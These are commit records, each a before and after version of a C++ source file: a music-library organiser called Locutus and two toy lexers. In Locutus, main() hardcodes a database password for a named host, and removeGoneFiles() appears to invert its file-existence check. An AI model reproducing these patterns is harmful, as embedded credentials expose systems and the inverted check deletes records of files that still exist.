move\n\t\t\t * the new file, despite it begin better *\/\n\t\t\tfilename = file->filename;\n\t\t\tostringstream tmp;\n\t\t\ttmp << \"Unable to find a new filename for duplicate file \" << f->filename;\n\t\t\tDebug::notice(tmp.str());\n\t\t\tbreak;\n\t\t}\n\t\t\/* move the existing file *\/\n\t\tstring tmp_old_filename = f->filename;\n\t\tif (!moveFile(&*f, new_filename)) {\n\t\t\t\/* hmm, couldn't move the existing file.\n\t\t\t * then we can't move new file either *\/\n\t\t\tfilename = file->filename;\n\t\t\tostringstream tmp;\n\t\t\ttmp << \"Unable to move duplicate file \" << f->filename << \" to \" << new_filename;\n\t\t\tDebug::notice(tmp.str());\n\t\t\tbreak;\n\t\t}\n\t\t\/* update database for the existing file *\/\n\t\tdatabase->saveMetafile(*f, tmp_old_filename);\n\t\t\/* find and update the file in grouped_files *\/\n\t\tbool stop = false;\n\t\tfor (map<string, vector<Metafile *> >::iterator gf = grouped_files.begin(); gf != grouped_files.end() && !stop; ++gf) {\n\t\t\tfor (vector<Metafile *>::iterator f2 = gf->second.begin(); f2 != gf->second.end(); ++f2) {\n\t\t\t\tif ((*f2)->filename != f->filename)\n\t\t\t\t\tcontinue;\n\t\t\t\t(*f2)->filename = new_filename;\n\t\t\t\tstop = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\tcout << \" Old: \" << file->filename << endl;\n\tcout << \" New: \" << filename << endl;\n\tcout << \"Meta: \" << file->albumartistsort << \" - \" << file->album << \" - \" << file->tracknumber << \" - \" << file->artistsort << \" - \" << file->title << \" (\" << file->genre << \")\" << endl;\n\t\/* save metadata *\/\n\tif (!file->saveMetadata()) {\n\t\tostringstream tmp;\n\t\ttmp << \"Unable to save metadata for file \" << file->filename;\n\t\tDebug::warning(tmp.str());\n\t\treturn;\n\t}\n\t\/* move file *\/\n\tstring old_filename = file->filename;\n\tif (filename != file->filename) {\n\t\tif (!moveFile(file, filename)) {\n\t\t\tfile->filename = old_filename;\n\t\t\tostringstream tmp;\n\t\t\ttmp << \"Unable to move file \" << old_filename << \" to \" << filename;\n\t\t\tDebug::warning(tmp.str());\n\t\t}\n\t}\n\t\/* update database *\/\n\tdatabase->saveMetafile(*file, old_filename); \/\/ metadata may have changed even if path haven't\n}\n\nvoid Locutus::scanFiles(const string &directory) {\n\tdir_queue.push_back(directory);\n\twhile (dir_queue.size() > 0 || file_queue.size() > 0) {\n\t\t\/* first files *\/\n\t\tif (parseFile())\n\t\t\tcontinue;\n\t\t\/* then directories *\/\n\t\tif (parseDirectory())\n\t\t\tcontinue;\n\t}\n}\n\n\/* main *\/\nint main() {\n\t\/* initialize static classes *\/\n\tDebug::open(\"locutus.log\");\n\tLevenshtein::initialize();\n\n\t\/* connect to database *\/\n\tDatabase *database = new PostgreSQL(\"host=sql.samfundet.no user=locutus password=locutus dbname=locutus\");\n\n\t\/\/while (true) {\n\t\tLocutus *locutus = new Locutus(database);\n\t\tDebug::info(\"Checking files...\");\n\t\tlong sleeptime = locutus->run();\n\t\tDebug::info(\"Finished checking files\");\n\t\tdelete locutus;\n\n\t\tusleep(sleeptime);\n\t\/\/}\n\n\t\/* disconnect from database *\/\n\tdelete database;\n\n\t\/* clear static classes *\/\n\tLevenshtein::clear();\n\tDebug::close();\n\n\treturn 0;\n}\n<commit_msg>setting the \"matched\" and \"duplicate\" value. these values are always set to \"false\" when fetching data from the database (this is intended) and are set to \"true\" when we save the file.<commit_after>#include \"Audioscrobbler.h\"\n#include \"Database.h\"\n#include \"Debug.h\"\n#include \"FileNamer.h\"\n#include \"Levenshtein.h\"\n#include \"Locutus.h\"\n#include \"Matcher.h\"\n#include \"Metafile.h\"\n#include \"PostgreSQL.h\"\n\/\/#include \"PUIDGenerator.h\"\n#include \"MusicBrainz.h\"\n\nusing namespace std;\n\n\/* constructors\/destructor *\/\nLocutus::Locutus(Database *database) : database(database) {\n\taudioscrobbler = new Audioscrobbler(database);\n\tfilenamer = new FileNamer(database);\n\t\/\/puidgen = new PUIDGenerator();\n\tmusicbrainz = new MusicBrainz(database);\n\tmatcher = new Matcher(database, musicbrainz);\n\n\tlookup_genre = database->loadSettingBool(LOOKUP_GENRE_KEY, LOOKUP_GENRE_VALUE, LOOKUP_GENRE_DESCRIPTION);\n\tinput_dir = database->loadSettingString(MUSIC_INPUT_KEY, MUSIC_INPUT_VALUE, MUSIC_INPUT_DESCRIPTION);\n\tif (input_dir.size() <= 0 || input_dir[input_dir.size() - 1] != '\/')\n\t\tinput_dir.push_back('\/');\n\toutput_dir = database->loadSettingString(MUSIC_OUTPUT_KEY, MUSIC_OUTPUT_VALUE, MUSIC_OUTPUT_DESCRIPTION);\n\tif (output_dir.size() <= 0 || output_dir[output_dir.size() - 1] != '\/')\n\t\toutput_dir.push_back('\/');\n}\n\nLocutus::~Locutus() {\n\tclearFiles();\n\tdelete audioscrobbler;\n\t\/\/delete puidgen;\n\tdelete matcher;\n\tdelete musicbrainz;\n\tdelete filenamer;\n}\n\n\/* static methods *\/\nvoid Locutus::trim(string *text) {\n\tif (text == NULL)\n\t\treturn;\n\tstring::size_type pos = text->find_last_not_of(\" \\t\\n\");\n\tif (pos != string::npos)\n\t\ttext->erase(pos + 1);\n\tpos = text->find_first_not_of(\" \\t\\n\");\n\tif (pos != string::npos)\n\t\ttext->erase(0, pos);\n\tif (text->size() > 0 && text->at(0) == ' ')\n\t\ttext->erase();\n}\n\n\/* methods *\/\nlong Locutus::run() {\n\t\/* remove file entries where file doesn't exist *\/\n\tremoveGoneFiles();\n\t\/* parse sorted directory *\/\n\tDebug::info(\"Scanning output directory\");\n\tscanFiles(output_dir);\n\t\/* parse unsorted directory *\/\n\tDebug::info(\"Scanning input directory\");\n\tscanFiles(input_dir);\n\t\/* match files *\/\n\tfor (map<string, vector<Metafile *> >::iterator gf = grouped_files.begin(); gf != grouped_files.end(); ++gf) {\n\t\tmatcher->match(gf->first, gf->second);\n\t\t\/* save files with new metadata *\/\n\t\tfor (vector<Metafile *>::iterator f = gf->second.begin(); f != gf->second.end(); ++f) {\n\t\t\tif (!(*f)->metadata_changed)\n\t\t\t\tcontinue;\n\t\t\tsaveFile(*f);\n\t\t}\n\t}\n\t\/* submit new puids? *\/\n\t\/\/ TODO\n\t\/* return *\/\n\treturn 10000;\n}\n\n\/* private methods *\/\nvoid Locutus::clearFiles() {\n\tfor (map<string, vector<Metafile *> >::iterator group = grouped_files.begin(); group != grouped_files.end(); ++group) {\n\t\tfor (vector<Metafile *>::iterator file = group->second.begin(); file != group->second.end(); ++file)\n\t\t\tdelete (*file);\n\t}\n\tgrouped_files.clear();\n}\n\nstring Locutus::findDuplicateFilename(Metafile *file) {\n\t\/* find a name for a duplicate *\/\n\tstring tmp_filename = input_dir;\n\ttmp_filename.append(\"duplicates\/\");\n\tstring tmp_gen_filename = filenamer->getFilename(file);\n\tstring::size_type pos = tmp_gen_filename.find_last_of('.');\n\tstring tmp_extension = (pos == string::npos) ? \"\" : tmp_gen_filename.substr(pos);\n\ttmp_filename.append(tmp_gen_filename.substr(0, pos));\n\n\tostringstream tmp;\n\ttmp << tmp_filename << tmp_extension;\n\tif (tmp.str() == file->filename)\n\t\treturn file->filename; \/\/ it's the same file!\n\tstruct stat data;\n\tif (stat(tmp.str().c_str(), &data) != 0) {\n\t\t\/* can seemingly move file here *\/\n\t\treturn tmp.str();\n\t}\n\t\/* file already exist, add \" (<copy>)\" before extension\n\t * until we find an available filename or <copy> reach 100 *\/\n\tfor (int copy = 1; copy < 100; ++copy) {\n\t\ttmp.str(\"\");\n\t\ttmp << tmp_filename << \" (\" << copy << \")\" << tmp_extension;\n\t\tif (stat(tmp.str().c_str(), &data) == 0)\n\t\t\tcontinue;\n\t\t\/* found available filename *\/\n\t\treturn tmp.str();\n\t}\n\treturn file->filename;\n}\n\nbool Locutus::moveFile(Metafile *file, const string &filename) {\n\tstring::size_type start = 0;\n\tstring dirname;\n\tmode_t mode = S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IWGRP | S_IXGRP | S_IROTH | S_IXOTH;\n\tstruct stat data;\n\tint result;\n\twhile ((start = filename.find_first_of('\/', start + 1)) != string::npos) {\n\t\tdirname = filename.substr(0, start);\n\t\tresult = stat(dirname.c_str(), &data);\n\t\tif (result == 0 && S_ISDIR(data.st_mode))\n\t\t\tcontinue; \/\/ directory already exist\n\t\tresult = mkdir(dirname.c_str(), mode);\n\t\tif (result == 0)\n\t\t\tcontinue;                                                                                                                      \n\t\t\/* unable to create directory *\/\n\t\tdirname.insert(0, \"Unable to create directory: \");\n\t\tDebug::warning(dirname);\n\t\treturn false;\n\t}\n\tif (stat(filename.c_str(), &data) != 0 && rename(file->filename.c_str(), filename.c_str()) == 0) {\n\t\t\/* was able to move file, let's also try changing the permissions to 0664 *\/\n\t\tmode = S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH;\n\t\tchmod(filename.c_str(), mode);\n\t\tfile->filename = filename;\n\t\treturn true;\n\t}\n\t\/* unable to move file for some reason *\/\n\treturn false;\n}\n\nbool Locutus::parseDirectory() {\n\tif (dir_queue.size() <= 0)\n\t\treturn false;\n\tstring directory(*dir_queue.begin());\n\tDebug::info(directory);\n\tdir_queue.pop_front();\n\tDIR *dir = opendir(directory.c_str());\n\tif (dir == NULL)\n\t\treturn true;\n\tdirent *entity;\n\twhile ((entity = readdir(dir)) != NULL) {\n\t\tstring entityname = entity->d_name;\n\t\tif (entityname == \".\" || entityname == \"..\")\n\t\t\tcontinue;\n\t\tstring ford = directory;\n\t\tif (ford[ford.size() - 1] != '\/')\n\t\t\tford.append(\"\/\");\n\t\tford.append(entityname);\n\t\t\/* why isn't always \"entity->d_type == DT_DIR\" when the entity is a directory? *\/\n\t\tDIR *tmpdir = opendir(ford.c_str());\n\t\tif (tmpdir != NULL)\n\t\t\tdir_queue.push_back(ford);\n\t\telse\n\t\t\tfile_queue.push_back(ford);\n\t\tclosedir(tmpdir);\n\t}\n\tclosedir(dir);\n\treturn true;\n}\n\nbool Locutus::parseFile() {\n\tif (file_queue.size() <= 0)\n\t\treturn false;\n\tstring filename(*file_queue.begin());\n\tDebug::info(filename);\n\tfile_queue.pop_front();\n\tMetafile *mf = new Metafile(filename);\n\tif (!database->loadMetafile(mf)) {\n\t\tif (mf->readFromFile()) {\n\t\t\t\/* save file to cache *\/\n\t\t\tdatabase->saveMetafile(*mf);\n\t\t} else {\n\t\t\t\/* unable to read this file *\/\n\t\t\tdelete mf;\n\t\t\treturn false;\n\t\t}\n\t}\n\tmf->meta_lookup = true;\n\tgrouped_files[mf->getGroup()].push_back(mf);\n\treturn true;\n}\n\nvoid Locutus::removeGoneFiles() {\n\tvector<Metafile> files = database->loadMetafiles(\"\");\n\tstruct stat file_info;\n\tfor (vector<Metafile>::iterator f = files.begin(); f != files.end(); ) {\n\t\tif (stat(f->filename.c_str(), &file_info) != 0) {\n\t\t\t\/* file is present, don't remove it from files *\/\n\t\t\t++f;\n\t\t\tcontinue;\n\t\t}\n\t\t\/\/ unable to get info about this file, remove it from files\n\t\tf = files.erase(f);\n\t}\n\tdatabase->removeMetafiles(files);\n}\n\nvoid Locutus::saveFile(Metafile *file) {\n\t\/* genre *\/\n\tif (lookup_genre) {\n\t\tvector<string> tags = audioscrobbler->getTags(file);\n\t\tif (tags.size() > 0)\n\t\t\tfile->genre = tags[0];\n\t\telse\n\t\t\tfile->genre = \"\"; \/\/ clear genre if we didn't find a tag\n\t}\n\t\/* set file as \"matched\" *\/\n\tfile->matched = true;\n\t\/* create new filename *\/\n\tstring filename = output_dir;\n\tfilename.append(filenamer->getFilename(file));\n\t\/* check if file (possibly with different extension) already exist *\/\n\tstring filename_without_extension = filename.substr(0, filename.find_last_of('.'));\n\tvector<Metafile> files = database->loadMetafiles(filename_without_extension);\n\tunsigned long file_quality = file->bitrate * file->channels * file->samplerate;\n\tfor (vector<Metafile>::iterator f = files.begin(); f != files.end(); ++f) {\n\t\t\/* it is possible that loadMetafiles() return other tracks which happen\n\t\t * to match current filename (we're searching for 'blabla%' which would\n\t\t * match 'blablabla'), so we need to check that musicbrainz_trackid match *\/\n\t\tif (file->filename == f->filename)\n\t\t\tcontinue; \/\/ it's the exact same file\n\t\tif (file->musicbrainz_trackid != f->musicbrainz_trackid)\n\t\t\tcontinue; \/\/ FIXME: what if we got 2 \"identical\" albums? different track-id, same filename\n\t\tunsigned long old_quality = f->bitrate * f->channels * f->samplerate;\n\t\tif ((old_quality >= file_quality && !file->pinned) || f->pinned) {\n\t\t\t\/* an existing file is better and new file isn't pinned, or old file is pinned.\n\t\t\t * move the new file to duplicates and update its metadata *\/\n\t\t\tfilename = findDuplicateFilename(file);\n\t\t\t\/* also mark it as a duplicate *\/\n\t\t\tfile->duplicate = true;\n\t\t\tbreak;\n\t\t}\n\t\t\/* new file is better *\/\n\t\t\/* find a new name for the existing file *\/\n\t\tstring new_filename = findDuplicateFilename(&*f);\n\t\tif (new_filename == f->filename) {\n\t\t\t\/* couldn't find a new filename for the existing file.\n\t\t\t * we'll set filename to file->filename so we won't move\n\t\t\t * the new file, despite it begin better *\/\n\t\t\tfilename = file->filename;\n\t\t\tostringstream tmp;\n\t\t\ttmp << \"Unable to find a new filename for duplicate file \" << f->filename;\n\t\t\tDebug::notice(tmp.str());\n\t\t\tbreak;\n\t\t}\n\t\t\/* move the existing file *\/\n\t\tstring tmp_old_filename = f->filename;\n\t\tif (!moveFile(&*f, new_filename)) {\n\t\t\t\/* hmm, couldn't move the existing file.\n\t\t\t * then we can't move new file either *\/\n\t\t\tfilename = file->filename;\n\t\t\tostringstream tmp;\n\t\t\ttmp << \"Unable to move duplicate file \" << f->filename << \" to \" << new_filename;\n\t\t\tDebug::notice(tmp.str());\n\t\t\tbreak;\n\t\t}\n\t\t\/* mark existing file as a duplicate *\/\n\t\tf->duplicate = true;\n\t\t\/* update database for the existing file *\/\n\t\tdatabase->saveMetafile(*f, tmp_old_filename);\n\t\t\/* find and update the file in grouped_files *\/\n\t\tbool stop = false;\n\t\tfor (map<string, vector<Metafile *> >::iterator gf = grouped_files.begin(); gf != grouped_files.end() && !stop; ++gf) {\n\t\t\tfor (vector<Metafile *>::iterator f2 = gf->second.begin(); f2 != gf->second.end(); ++f2) {\n\t\t\t\tif ((*f2)->filename != f->filename)\n\t\t\t\t\tcontinue;\n\t\t\t\t(*f2)->filename = new_filename;\n\t\t\t\tstop = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\tcout << \" Old: \" << file->filename << endl;\n\tcout << \" New: \" << filename << endl;\n\tcout << \"Meta: \" << file->albumartistsort << \" - \" << file->album << \" - \" << file->tracknumber << \" - \" << file->artistsort << \" - \" << file->title << \" (\" << file->genre << \")\" << endl;\n\t\/* save metadata *\/\n\tif (!file->saveMetadata()) {\n\t\tostringstream tmp;\n\t\ttmp << \"Unable to save metadata for file \" << file->filename;\n\t\tDebug::warning(tmp.str());\n\t\treturn;\n\t}\n\t\/* move file *\/\n\tstring old_filename = file->filename;\n\tif (filename != file->filename) {\n\t\tif (!moveFile(file, filename)) {\n\t\t\tfile->filename = old_filename;\n\t\t\tostringstream tmp;\n\t\t\ttmp << \"Unable to move file \" << old_filename << \" to \" << filename;\n\t\t\tDebug::warning(tmp.str());\n\t\t}\n\t}\n\t\/* update database *\/\n\tdatabase->saveMetafile(*file, old_filename); \/\/ metadata may have changed even if path haven't\n}\n\nvoid Locutus::scanFiles(const string &directory) {\n\tdir_queue.push_back(directory);\n\twhile (dir_queue.size() > 0 || file_queue.size() > 0) {\n\t\t\/* first files *\/\n\t\tif (parseFile())\n\t\t\tcontinue;\n\t\t\/* then directories *\/\n\t\tif (parseDirectory())\n\t\t\tcontinue;\n\t}\n}\n\n\/* main *\/\nint main() {\n\t\/* initialize static classes *\/\n\tDebug::open(\"locutus.log\");\n\tLevenshtein::initialize();\n\n\t\/* connect to database *\/\n\tDatabase *database = new PostgreSQL(\"host=sql.samfundet.no user=locutus password=locutus dbname=locutus\");\n\n\t\/\/while (true) {\n\t\tLocutus *locutus = new Locutus(database);\n\t\tDebug::info(\"Checking files...\");\n\t\tlong sleeptime = locutus->run();\n\t\tDebug::info(\"Finished checking files\");\n\t\tdelete locutus;\n\n\t\tusleep(sleeptime);\n\t\/\/}\n\n\t\/* disconnect from database *\/\n\tdelete database;\n\n\t\/* clear static classes *\/\n\tLevenshtein::clear();\n\tDebug::close();\n\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"lexer.hpp\"\n\n#include <cctype>\n#include <algorithm>\n#include <vector>\n\nnamespace klang {\n\nToken::Token()\n  : type_(TokenType::UNKNOWN), str_(), line_(-1)\n{}\n\nToken::Token(TokenType type, const std::string& str, int line)\n  : type_(type), str_(str), line_(line)\n{}\n\nTokenType Token::type() const { return type_; }\nstd::string Token::str() const { return str_; }\nint Token::line() const { return line_; }\n\n\nbool alphabet(char c) {\n  return std::isalpha(c);\n}\n\nbool alphabet_or_bar(char c) {\n  return (c == '_' || alphabet(c));\n}\n\nbool nonzero_digit(char c) {\n  return (c >= '1' && c <= '9');\n}\n\nbool decimal_digit(char c) {\n  return std::isdigit(c);\n}\n\nbool identifier(const std::string& str) {\n  if (str.empty() || !alphabet_or_bar(str.front())) {\n    return false;\n  }\n  for (char c : str) {\n    if (!alphabet_or_bar(c) && !decimal_digit(c)) {\n      return false;\n    }\n  }\n  return true;\n}\n\nbool decimal_integer(const std::string& str) {\n  if (str == \"0\") return true;\n  if (str.empty() || !nonzero_digit(str.front())) {\n    return false;\n  }\n  for (char c : str) {\n    if (!decimal_digit(c)) {\n      return false;\n    }\n  }\n  return true;\n}\n\nbool symbol(const std::string& str) {\n  using std::begin;\n  using std::end;\n  static std::vector<std::string> const symbol_list = {\n    \"~\", \"+\", \"-\", \"*\", \"\/\", \"%\",\n    \":=\", \":+=\", \":-=\", \":*=\", \":\/=\", \":%=\",\n    \"=\", \"=\/\", \"<\", \">\", \"<=\", \">=\",\n    \";\", \"(\", \")\", \"{\", \"}\", \"->\",\n    \"and\", \"or\", \"not\", \"int\", \"def\", \"var\",\n    \"if\", \"else\", \"while\", \"for\", \"break\", \"continue\", \"return\"\n  };\n  return (std::find(begin(symbol_list), end(symbol_list), str) != end(symbol_list));\n}\n\nbool ignore(const std::string& str) {\n  return (str == \" \" || str == \"\\n\");\n}\n\nTokenType match_type(std::string const& str) {\n  if (symbol(str)) return TokenType::SYMBOL;\n  if (identifier(str)) return TokenType::IDENTIFIER;\n  if (decimal_integer(str)) return TokenType::NUMBER;\n  if (ignore(str)) return TokenType::IGNORE;\n  return TokenType::UNKNOWN;\n}\n\nTokenVector tokenize(std::istream& is) {\n  std::string str, code;\n  while (std::getline(is, str)) {\n    code += str + '\\n';\n  }\n  TokenVector tokens;\n  str.clear();\n  TokenType prev = TokenType::UNKNOWN;\n  int line = 0;\n  for (char c : code) {\n    if (c == '\\n') ++line;\n    TokenType next = match_type(str + c);\n    if (prev != TokenType::UNKNOWN && next == TokenType::UNKNOWN) {\n      if (prev != TokenType::IGNORE) {\n        tokens.push_back(Token(prev, str, line));\n      }\n      str = c;\n      prev = match_type(str);\n    } else {\n      str += c;\n      prev = next;\n    }\n  }\n  return tokens;\n}\n\n}  \/\/ namespace klang\n<commit_msg>Add COMMENT and STRING<commit_after>#include \"lexer.hpp\"\n\n#include <cctype>\n#include <algorithm>\n#include <vector>\n\nnamespace klang {\n\nToken::Token()\n  : type_(TokenType::UNKNOWN), str_(), line_(-1)\n{}\n\nToken::Token(TokenType type, const std::string& str, int line)\n  : type_(type), str_(str), line_(line)\n{}\n\nTokenType Token::type() const { return type_; }\nstd::string Token::str() const { return str_; }\nint Token::line() const { return line_; }\n\n\nbool alphabet(char c) {\n  return std::isalpha(c);\n}\n\nbool alphabet_or_bar(char c) {\n  return (c == '_' || alphabet(c));\n}\n\nbool nonzero_digit(char c) {\n  return (c >= '1' && c <= '9');\n}\n\nbool decimal_digit(char c) {\n  return std::isdigit(c);\n}\n\nbool identifier(const std::string& str) {\n  if (str.empty() || !alphabet_or_bar(str.front())) {\n    return false;\n  }\n  for (char c : str) {\n    if (!alphabet_or_bar(c) && !decimal_digit(c)) {\n      return false;\n    }\n  }\n  return true;\n}\n\nbool decimal_integer(const std::string& str) {\n  if (str == \"0\") return true;\n  if (str.empty() || !nonzero_digit(str.front())) {\n    return false;\n  }\n  for (char c : str) {\n    if (!decimal_digit(c)) {\n      return false;\n    }\n  }\n  return true;\n}\n\nbool symbol(const std::string& str) {\n  using std::begin;\n  using std::end;\n  static std::vector<std::string> const symbol_list = {\n    \"~\", \"+\", \"-\", \"*\", \"\/\", \"%\",\n    \":=\", \":+=\", \":-=\", \":*=\", \":\/=\", \":%=\",\n    \"=\", \"=\/\", \"<\", \">\", \"<=\", \">=\",\n    \";\", \"(\", \")\", \"{\", \"}\", \"->\", \"~}\",\n    \"and\", \"or\", \"not\", \"int\", \"def\", \"var\",\n    \"if\", \"else\", \"while\", \"for\", \"break\", \"continue\", \"return\"\n  };\n  return (std::find(begin(symbol_list), end(symbol_list), str) != end(symbol_list));\n}\n\nbool ignore(const std::string& str) {\n  return (str == \" \" || str == \"\\n\");\n}\n\nbool singleline_comment(const std::string& str) {\n  bool inside = (str.back() == '\\n' || str.find(\"\\n\") == std::string::npos);\n  return (str.compare(0, 2, \"~~\") == 0 && inside);\n}\n\nbool multiline_comment(const std::string& str) {\n  using std::begin;\n  using std::end;\n  if (str.compare(0, 2, \"{~\") == 0) {\n\tint nest = 0;\n\tfor (auto it = begin(str); it + 1 != end(str); ++it) {\n\t  std::string tk(it, it+2);\n\t  if (tk == \"{~\") {\n\t\t++nest;\n\t  } else if(tk == \"~}\") {\n\t\t--nest;\n\t  }\n\t}\n\tbool closed = (nest == 0 && str.compare(str.size()-2, 2, \"~}\") == 0);\n\treturn (nest > 0 || closed);\n  }\n  return false;\n}\n\nbool comment(const std::string& str) {\n  return (singleline_comment(str) || multiline_comment(str));\n}\n\nbool string_token(const std::string& str) {\n  using std::begin;\n  using std::end;\n  if (str.front() == '\"') {\n\tbool escaped = false;\n\tfor(auto it = begin(str) + 1; it != end(str); ++it) {\n\t  if (*it == '\\\\') {\n\t\tescaped = true;\n\t  } else if (*it == '\"' && (!escaped)) {\n\t\treturn it + 1 == end(str);\n\t  } else {\n\t\tescaped = false;\n\t  }\n\t}\n  }\n  return false;\n}\n\nTokenType match_type(std::string const& str) {\n  if (comment(str)) return TokenType::IGNORE;\n  if (symbol(str)) return TokenType::SYMBOL;\n  if (identifier(str)) return TokenType::IDENTIFIER;\n  if (decimal_integer(str)) return TokenType::NUMBER;\n  if (string_token(str)) return TokenType::STRING;\n  if (ignore(str)) return TokenType::IGNORE;\n  return TokenType::UNKNOWN;\n}\n\nTokenVector tokenize(std::istream& is) {\n  std::string str, code;\n  while (std::getline(is, str)) {\n    code += str + '\\n';\n  }\n  TokenVector tokens;\n  str.clear();\n  TokenType prev = TokenType::UNKNOWN;\n  int line = 0;\n  for (char c : code) {\n    if (c == '\\n') ++line;\n    TokenType next = match_type(str + c);\n    if (prev != TokenType::UNKNOWN && next == TokenType::UNKNOWN) {\n      if (prev != TokenType::IGNORE) {\n        tokens.push_back(Token(prev, str, line));\n      }\n      str = c;\n      prev = match_type(str);\n    } else {\n      str += c;\n      prev = next;\n    }\n  }\n  return tokens;\n}\n\n}  \/\/ namespace klang\n<|endoftext|>"}
{"text":"<commit_before>\/*\nProject: TUC\nFile: lexer.cpp\nAuthor: Leonardo Banderali\nCreated: November 8, 2015\nLast Modified: November 8, 2015\n\nDescription:\n    TUC is a simple, experimental compiler designed for learning and experimenting.\n    It is not intended to have any useful purpose other than being a way to learn\n    how compilers work.\n\nCopyright (C) 2015 Leonardo Banderali\n\nLicense:\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n\n*\/\n\n#include \"lexer.hpp\"\n\n\n\/\/ standard libraries\n#include <regex>\n\/\/#include <fstream>\n#include <utility>\n\n\n\n\/*\nanalyze an input file and returns its contents as a list of tokens\n*\/\nstd::vector<tuc::Token> tuc::lex_analyze(const std::string& filePath) {\n    auto inputFile = std::ifstream{filePath};\n    std::stringbuf sb;\n    inputFile.get(sb, static_cast<char>(-1)); \/\/ read the entire file\n    inputFile.close();\n\n    const auto fileText = sb.str();\n    auto first = fileText.cbegin();\n    auto last = fileText.cend();\n    auto currentPosition = first;\n    std::vector<tuc::Token> tokenList;\n    auto ruleListIndex = 0;\n    unsigned int l = 1;\n    unsigned int c = 1;\n\n    while (currentPosition < last) {\n        Rule rule;\n        std::smatch firstMatch;\n        std::smatch m;\n        for (auto r : u_lexer_grammar[ruleListIndex]) {\n            if (std::regex_search(currentPosition, last, m, r.regex()) && (firstMatch.empty() || m.position() < firstMatch.position() )) {\n                firstMatch = std::move(m);\n                rule = std::move(r);\n            }\n        }\n\n        if (firstMatch.empty()) {\n            break;\n        } else {\n            for (int i = firstMatch.position() - 1; i >= 0; i--) {\n                auto character = *currentPosition;\n                if (character == '\\n') {\n                    l++;\n                    c = 1;\n                }\n                else {\n                    c++;\n                }\n                currentPosition++;\n            }\n            tokenList.push_back(Token{TextEntity{firstMatch.str(), filePath, currentPosition - first, l, c}, rule});\n            for (int i = firstMatch.length() - 1; i >= 0; i--) {\n                auto character = *currentPosition;\n                if (character == '\\n') {\n                    l++;\n                    c = 1;\n                }\n                else {\n                    c++;\n                }\n                currentPosition++;\n            }\n            ruleListIndex = rule.nextRules();\n        }\n    }\n\n    return tokenList;\n}\n<commit_msg>Clean up code.<commit_after>\/*\nProject: TUC\nFile: lexer.cpp\nAuthor: Leonardo Banderali\nCreated: November 8, 2015\nLast Modified: January 5, 2016\n\nDescription:\n    TUC is a simple, experimental compiler designed for learning and experimenting.\n    It is not intended to have any useful purpose other than being a way to learn\n    how compilers work.\n\nCopyright (C) 2016 Leonardo Banderali\n\nLicense:\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n\n*\/\n\n#include \"lexer.hpp\"\n\n\n\/\/ standard libraries\n#include <regex>\n\/\/#include <fstream>\n#include <utility>\n\n\n\n\/*\nanalyze an input file and returns its contents as a list of tokens\n*\/\nstd::vector<tuc::Token> tuc::lex_analyze(const std::string& filePath) {\n    auto inputFile = std::ifstream{filePath};\n    std::stringbuf sb;\n    inputFile.get(sb, static_cast<char>(-1)); \/\/ read the entire file\n    inputFile.close();\n\n    const auto fileText = sb.str();\n    auto first = fileText.cbegin();\n    auto last = fileText.cend();\n    auto currentPosition = first;\n    std::vector<tuc::Token> tokenList;\n    auto ruleListIndex = 0;\n    unsigned int l = 1;\n    unsigned int c = 1;\n\n    \/*\n    move itterators forward while keeping track of changes in line and column numbers\n    *\/\n    auto move_forward_by = [&](int ammount) {\n        for (int i = 0; i < ammount; i++) {\n            auto character = *currentPosition;\n            if (character == '\\n') {\n                l++;\n                c = 1;\n            }\n            else {\n                c++;\n            }\n            currentPosition++;\n        }\n    };\n\n    while (currentPosition < last) {\n        Rule rule;\n        std::smatch firstMatch;\n        std::smatch m;\n        for (auto r : u_lexer_grammar[ruleListIndex]) {\n            if (std::regex_search(currentPosition, last, m, r.regex()) && (firstMatch.empty() || m.position() < firstMatch.position() )) {\n                firstMatch = std::move(m);\n                rule = std::move(r);\n            }\n        }\n\n        if (firstMatch.empty()) {\n            break;\n        } else {\n            move_forward_by(firstMatch.position());\n            tokenList.push_back(Token{TextEntity{firstMatch.str(), filePath, currentPosition - first, l, c}, rule});\n            move_forward_by(firstMatch.length());\n            ruleListIndex = rule.nextRules();\n        }\n    }\n\n    return tokenList;\n}\n<|endoftext|>"}
